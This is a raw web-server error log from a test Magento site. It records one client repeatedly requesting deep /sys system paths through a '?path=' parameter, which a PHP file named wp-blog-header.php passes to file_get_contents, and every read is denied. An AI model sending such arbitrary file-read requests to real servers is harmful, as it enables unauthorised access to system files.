[Thu Mar 26 11:24:34.940286 2026] [php:warn] [pid 3106381] [client 74.7.241.26:40872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:ee
[Thu Mar 26 11:24:40.868223 2026] [php:warn] [pid 3106381] [client 74.7.241.26:40872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/drivers/ac
[Thu Mar 26 11:24:41.979256 2026] [php:warn] [pid 3106381] [client 74.7.241.26:40872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/device:fe
[Thu Mar 26 11:24:44.125140 2026] [php:warn] [pid 3106381] [client 74.7.241.26:40872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:dc
[Thu Mar 26 11:24:45.192822 2026] [php:warn] [pid 3106381] [client 74.7.241.26:40872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:ca
[Thu Mar 26 11:24:47.452316 2026] [php:warn] [pid 3106381] [client 74.7.241.26:40872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:be
[Thu Mar 26 11:24:47.948707 2026] [php:warn] [pid 3106381] [client 74.7.241.26:40872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:24:50.575590 2026] [php:warn] [pid 3106381] [client 74.7.241.26:40872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 11:24:53.855280 2026] [php:warn] [pid 3106381] [client 74.7.241.26:40872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/drivers/ac
[Thu Mar 26 11:25:01.275117 2026] [php:warn] [pid 3106381] [client 74.7.241.26:40872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:ca
[Thu Mar 26 11:25:02.920471 2026] [php:warn] [pid 3106381] [client 74.7.241.26:40872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc
[Thu Mar 26 11:25:03.472547 2026] [php:warn] [pid 3106381] [client 74.7.241.26:40872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/device:cc
[Thu Mar 26 11:25:04.472439 2026] [php:warn] [pid 3106381] [client 74.7.241.26:40872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:fa
[Thu Mar 26 11:25:06.049566 2026] [php:warn] [pid 3106381] [client 74.7.241.26:40872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:ca
[Thu Mar 26 11:25:07.689909 2026] [php:warn] [pid 3106381] [client 74.7.241.26:40872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:ca
[Thu Mar 26 11:25:09.851470 2026] [php:warn] [pid 3107073] [client 74.7.241.26:53218] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:ec
[Thu Mar 26 11:25:15.757482 2026] [php:warn] [pid 3107073] [client 74.7.241.26:53218] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:25:17.803254 2026] [php:warn] [pid 3107073] [client 74.7.241.26:53218] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:bc
[Thu Mar 26 11:25:19.357517 2026] [php:warn] [pid 3107073] [client 74.7.241.26:53218] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:dd/device:de
[Thu Mar 26 11:25:21.457759 2026] [php:warn] [pid 3107073] [client 74.7.241.26:53218] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:25:21.995171 2026] [php:warn] [pid 3107073] [client 74.7.241.26:53218] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:25:25.287125 2026] [php:warn] [pid 3107073] [client 74.7.241.26:53218] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:da
[Thu Mar 26 11:25:28.418585 2026] [php:warn] [pid 3107073] [client 74.7.241.26:53218] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ae
[Thu Mar 26 11:25:34.360725 2026] [php:warn] [pid 3107073] [client 74.7.241.26:53218] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:aa
[Thu Mar 26 11:25:35.442802 2026] [php:warn] [pid 3107073] [client 74.7.241.26:53218] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:fa
[Thu Mar 26 11:25:37.045907 2026] [php:warn] [pid 3107073] [client 74.7.241.26:53218] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:fe
[Thu Mar 26 11:25:38.097730 2026] [php:warn] [pid 3107073] [client 74.7.241.26:53218] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:be
[Thu Mar 26 11:25:38.621058 2026] [php:warn] [pid 3107073] [client 74.7.241.26:53218] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:bc
[Thu Mar 26 11:25:40.662763 2026] [php:warn] [pid 3107073] [client 74.7.241.26:53218] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:cc
[Thu Mar 26 11:25:48.028848 2026] [php:warn] [pid 3107073] [client 74.7.241.26:53218] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ca
[Thu Mar 26 11:25:50.600026 2026] [php:warn] [pid 3107073] [client 74.7.241.26:53218] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:25:51.609500 2026] [php:warn] [pid 3107073] [client 74.7.241.26:53218] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ae
[Thu Mar 26 11:25:52.173636 2026] [php:warn] [pid 3107073] [client 74.7.241.26:53218] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ea
[Thu Mar 26 11:25:54.801273 2026] [php:warn] [pid 3107073] [client 74.7.241.26:53218] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 11:25:55.792557 2026] [php:warn] [pid 3107073] [client 74.7.241.26:53218] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:ca
[Thu Mar 26 11:25:59.121439 2026] [php:warn] [pid 3107073] [client 74.7.241.26:53218] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:fa
[Thu Mar 26 11:26:00.121618 2026] [php:warn] [pid 3107073] [client 74.7.241.26:53218] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:26:03.469512 2026] [php:warn] [pid 3106758] [client 74.7.241.26:59186] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:ec
[Thu Mar 26 11:26:03.940564 2026] [php:warn] [pid 3106758] [client 74.7.241.26:59186] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:ea
[Thu Mar 26 11:26:05.028465 2026] [php:warn] [pid 3106758] [client 74.7.241.26:59186] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:ea
[Thu Mar 26 11:26:07.117316 2026] [php:warn] [pid 3106758] [client 74.7.241.26:59186] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 11:26:08.126075 2026] [php:warn] [pid 3106758] [client 74.7.241.26:59186] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/drivers/ac
[Thu Mar 26 11:26:12.404420 2026] [php:warn] [pid 3106758] [client 74.7.241.26:59186] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:26:24.856754 2026] [php:warn] [pid 3106758] [client 74.7.241.26:59186] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
